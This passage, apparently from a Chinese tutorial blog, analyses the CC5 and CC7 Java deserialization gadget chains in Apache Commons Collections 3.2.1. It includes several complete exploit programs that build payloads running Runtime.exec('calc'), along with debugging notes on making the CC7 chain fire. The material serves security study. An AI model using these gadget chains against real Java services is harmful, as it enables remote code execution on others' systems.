注意到val = valObj.toString();这条代码,我们在调试CC6的时候曾经提到过:**TiedMapEntry中也有一个toString()方法,里面调用了getValue()方法,导致链子提前走完**

先写一个toString()的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class toStringTest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//Method getRuntimeMethod=Runtime.class.getMethod("getRuntime");
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//Runtime runtime=(Runtime)getRuntimeMethod.invoke(Runtime.class,null);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})//runtime.exec("calc");
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, null);
tiedMapEntry.toString();
}
}

那后面的链子也就一目了然了,和CC1、CC6一样getValue()调用LazyMap.get(),进而往下调用transform方法,从而达到命令执行的目的,写出Gadget Chain

1
2
3
4
5
6
7
8
GadgetChain:
ObjectInputStream.readObject()
BadAttributevalueExpException.readObject()
TiedmapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
java.lang.Runtime.getRUntime.exec()

解决问题:在readObject中触发toString

如果我们仔细看BadAttributevalueException的构造函数

如果val不为null,则会提前触发toString,进而触发剩下的链子。要解决这个问题还是需要用到反射

1
2
3
Field val=BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);//val的访问权限是private
val.set(badAttributeValueExpException,tiedMapEntry);//完成BadAttributeValueException的初始化之后,在通过反射修改为tiedMapEntry

0x02最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CC5 {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),//Method getRuntimeMethod=Runtime.class.getMethod("getRuntime");
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),//Runtime runtime=(Runtime)getRuntimeMethod.invoke(Runtime.class,null);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})//runtime.exec("calc");
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,null);

BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(1);
Field val=BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(Filename));
Object obj=objectInputStream.readObject();
return obj;
}
}

CC7

0x00环境准备

  • jdk1.8.0_8u65
  • Maven
  • openJDK8u65
  • CommonsCollection3.2.1

0x01利用链分析

新的入口类:Hashtable

CC7的入口类是HashtableHashtable继承了Serializable接口,也重写了readObject方法。HashtableHashMap有很多共同之处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}

Hashtable在反序列化的时候会循环key和Value,最后调用reconstitutionPut()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

这个方法里先计算key.hashCode,然后检查Hashtable中是否存在相同的元素。这里可以继续往下调用CC6链,我们把CC6的利用链改一下

1
2
3
4
5
6
7
8
9
10
GadgetChain:
Hashtable.readObject()
Hashtable.reconstitutionPut()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

但这不是CC7讨论的重点。我们注意这个equals方法,LazyMap是没有equals方法的,这样的话它就会去父类AbstractMapDecorate里找equals方法

但是AbstractMapDecorate.equals并没有调用到其他方法,当传入的对象不同的时候,会调用map.equals()。那么我们就可以操作一下map,map最常见最通用的不就是HashMap吗?

这里需要注意一点:HashMap并没有重写equals方法,如果调用equals,实际上调用的是父类AbstractMapequals方法

AbstractMap.equals

最终肯定会调用m.get的,所以我们得想办法让m为LazyMap,触发transform方法

0x02编写exp

一开始写出来的exp是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer);
Hashtable hashtable=new Hashtable();
hashtable.put(lazyMap,"notlus");
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

然而这样并没有成功命令执行,还有很多细节的地方需要解决。

调试改进

怎么进入到reconstitutionPut的循环中?

我们现在reconstitutionPut方法中打下断点

因为tab全为null,所以e自然也为null,就不会进入到循环中,而是进行赋值操作,也就不会调用equals方法了。所以我们需要调用两次Hashtable.put()才能进入到循环中,像这样:

1
2
3
Hashtable hashtable=new Hashtable();
hashtable.put(lazyMap1,"xxx");
hashtable.put(lazyMap2,"yyy");

怎么通过e.hash==hash

但是根据逻辑短路的特性,e.hash==hash这个表达式通过后才能进入到e.key.equals(key)这个判断。首先得知道hash是由key.hashCode()计算得出的,hashtablekey就是LazyMap的键值对,我们并不能直接将相同的LazyMap放入Hashtable中,因为Hashtable中无法存在相同的键值对

而在java中,"yy".hashCode() == "zZ".hashCode(),利用这个特性,写出

1
2
3
4
5
6
7
8
9
HashMap hashMap1=new HashMap();
Map lazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
lazyMap1.put("zZ",1);
HashMap hashMap2=new HashMap();
Map lazyMap2=LazyMap.decorate(hashMap2,chainedTransformer);
lazyMap2.put("yy",1);
Hashtable hashtable=new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);

序列化前就弹出计算器

在反序列化序列化前打下断点,发现会弹出计算器,原因就是在hashtable.put(lazyMap2,1);的时候,会进入到equals()方法中,逻辑和reconstitutionPut是一样的。

解决办法就是反射修改chainedTransformer,又是一套小连招

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(new Transformer[]{});
HashMap hashMap1=new HashMap();
Map lazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
lazyMap1.put("zZ",1);
HashMap hashMap2=new HashMap();
Map lazyMap2=LazyMap.decorate(hashMap2,chainedTransformer);
lazyMap2.put("yy",1);
Hashtable hashtable=new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
Field field=ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

为什么需要remove("zZ")

如果直接运行上面的代码,还是不能够弹出计算器,我们在Abstract.equals方法处打下断点

我们发现,在这个地方,因为m.size()!=size()而跳了出去,因为lazyMap2这里多了一个zZ的键,也就不能进入到下面的get方法中

那为什么lazyMap2里面会多出一个zZ的键呢?

其实这点和CC6是异曲同工的,也是前面分析提前弹出计算器说到的一点

image-20240908155954490

当程序运行到hashtable.put(lazyMap2,1);的时候,回来到lazyMap.get()方法中,当进入到if判断里面的时候,会进行一个map.put(key,value)操作,所以lazyMap2会多出一个zZ->zZ,所以我们需要在执行完put方法之后进行remove("zZ")操作

0x03最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(new Transformer[]{});
HashMap hashMap1=new HashMap();
Map lazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
lazyMap1.put("zZ",1);
HashMap hashMap2=new HashMap();
Map lazyMap2=LazyMap.decorate(hashMap2,chainedTransformer);
lazyMap2.put("yy",1);
Hashtable hashtable=new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
Field field=ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
lazyMap2.remove("zZ");
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

0x04总结

最后再把GadgetChain总结一下

1
2
3
4
5
6
7
8
9
10
GadgetChain:
ObjectInputStream.readObject()
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorate.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransfomer.transform()
Runtime.getRuntime().exec()